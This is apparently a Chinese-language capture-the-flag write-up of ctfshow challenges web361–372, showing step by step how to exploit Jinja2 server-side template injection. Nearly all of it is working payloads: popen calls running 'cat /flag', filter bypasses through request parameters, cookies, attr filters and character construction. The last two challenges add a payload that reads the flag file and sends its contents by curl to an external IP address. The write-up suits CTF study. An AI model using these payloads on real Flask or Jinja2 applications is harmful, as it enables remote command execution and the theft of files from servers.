本文最后更新于 37 天前,其中的信息可能已经有所发展或是发生改变。
web361
简单测试一遍
?name={{7*7}}
回显49证明存在SSTI,是jiaji
无过滤直接上payload吧
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__["popen"]("cat /flag").read()}}
多写几个payload
?name={{lipsum.__globals__["os"]["popen"]("cat /flag").read()}}
?name={{url_for.__globals__["os"]["popen"]("cat /flag").read()}}
?name={{lipsum.__globals__.__getitem__('os').popen('ls /').read()}}
web362
用这俩可以秒掉
{{url_for.__globals__["os"]["popen"]("cat /flag").read()}}
{{lipsum.__globals__["os"]["popen"]("cat /flag").read()}}
实际是过滤了数字
可以用全角bypass一下
?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web363
过滤了单双引号
利用request
?name={{cycler.__init__.__globals__.os.popen(request.args.a).read()}}&a=cat /flag
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag
web364
过滤了args,可以换其他的参数进行绕过,比如from,cookie和values等
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag
web365
过滤了[]
中括号args""``''
?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}
Cookie:a=cat /flag
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag
web366
过滤[],args ” ‘ _
利用attr过滤器
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat%20/flag
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
a=__globals__;b=cat /flag
web367
过滤[],args ” ‘ _ os
多过滤了个os
加一个request就可以
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&c=cat%20/flag&b=os
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie:a=__globals__;b=os;c=cat /flag
web368
过滤[],args ” ‘ _ os {{
利用到{%%}
?name={%print(123)%}
回显123说明存在ssti
?name={% print (lipsum|attr(request.values.a)).setdefault(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag
payload中这个setdefault()是因为我们要找的是globals出来的东西,是属于字典,要去获得其变量需要用中括号,但是中括号给过滤了,所以用此函数进行获取,也可以用get()函数
?name={% print (lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag
web369
过滤[],args ” ‘ _ os {{ request
把request也给过滤了
用到jinja中的set语法
Jinja2 中的 set
:
- 在 Jinja2 中,
set
用来 定义 或 赋值 变量。它是 Jinja2 模板语言的一部分,不是 Python 的内建函数。通过set
,你可以在模板内创建变量,并为它们指定值。 - 它的作用类似于 Python 中的
=
操作符,允许你在模板中使用变量。 - 语法:jinja
{% set variable_name = value %}
还用到了python中的dict()
其中join过滤器,他用于拼接,但是注意,他是拼接的键值
?name=
{% set po=dict(po=a,p=a)|join%} //构造pop方法
{% set a=(lipsum|string|list)|attr(po)(24)%} //用于获取_
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} //获取__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} //获取__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} //获取__getitem__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} //获取__builtins__
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} //拼接payload
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} //利用chr构造flag
{%print(x.open(file).read())%} //读取flag文件
web370
相比上一题多过滤了数字,可以用全角数字进行绕过
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
也可多一步构造
{%set a=dict(aaaa=b)|join|length%}{%print a%}
回显4
回显就是键名的长度
web371
print被ban了。利用反弹shell
{%set zero=0%}
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set kongge=(()|select|string|list)|attr(pop)(five*two)%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set maohao=(config|string|list)|attr(pop)(two*seven)%}
{%set xiegang=(config|string|list)|attr(pop)(-eight*eight)%}
{%set dian=(config|string|list)|attr(pop)(five*five*eight-nine)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set open=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(open=a)|join)%}
{%set file=open((xiegang,dict(flag=a)|join)|join)|attr(dict(read=a)|join)()%}
{%set command=(dict(curl=a)|join,kongge,dict(http=a)|join,maohao,xiegang,xiegang,three,nine,dian,one,zero,seven,dian,one,one,five,dian,one,nine,one,maohao,two,three,three,three,xiegang,file)|join%}
{%set shell=(lipsum|attr(globals))|attr(get)(dict(o=a,s=b)|join)|attr(dict(popen=a)|join)(command)%}
第二种方法可以利用curl外带数据
web372
多加过滤了count,可以利用length替代
?name={%set one=dict(c=a)|join|length%}
{%set two=dict(cc=a)|join|length%}
{%set three=dict(ccc=a)|join|length%}
{%set four=dict(cccc=a)|join|length%}
{%set five=dict(ccccc=a)|join|length%}
{%set six=dict(cccccc=a)|join|length%}
{%set seven=dict(ccccccc=a)|join|length%}
{%set eight=dict(cccccccc=a)|join|length%}
{%set nine=dict(ccccccccc=a)|join|length%}
{%set pop=dict(pop=a)|join%}
{%set kongge=(()|select|string|list)|attr(pop)(five*two)%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set maohao=(config|string|list)|attr(pop)(two*seven)%}
{%set xiegang=(config|string|list)|attr(pop)(-eight*eight)%}
{%set dian=(config|string|list)|attr(pop)(five*five*eight-nine)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set open=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(open=a)|join)%}
{%set file=open((xiegang,dict(flag=a)|join)|join)|attr(dict(read=a)|join)()%}
{%set command=(dict(curl=a)|join,kongge,dict(http=a)|join,maohao,xiegang,xiegang,three,nine,dian,one,zero,seven,dian,one,one,five,dian,one,nine,one,maohao,two,three,three,three,xiegang,file)|join%}
{%set shell=(lipsum|attr(globals))|attr(get)(dict(o=a,s=b)|join)|attr(dict(popen=a)|join)(command)%}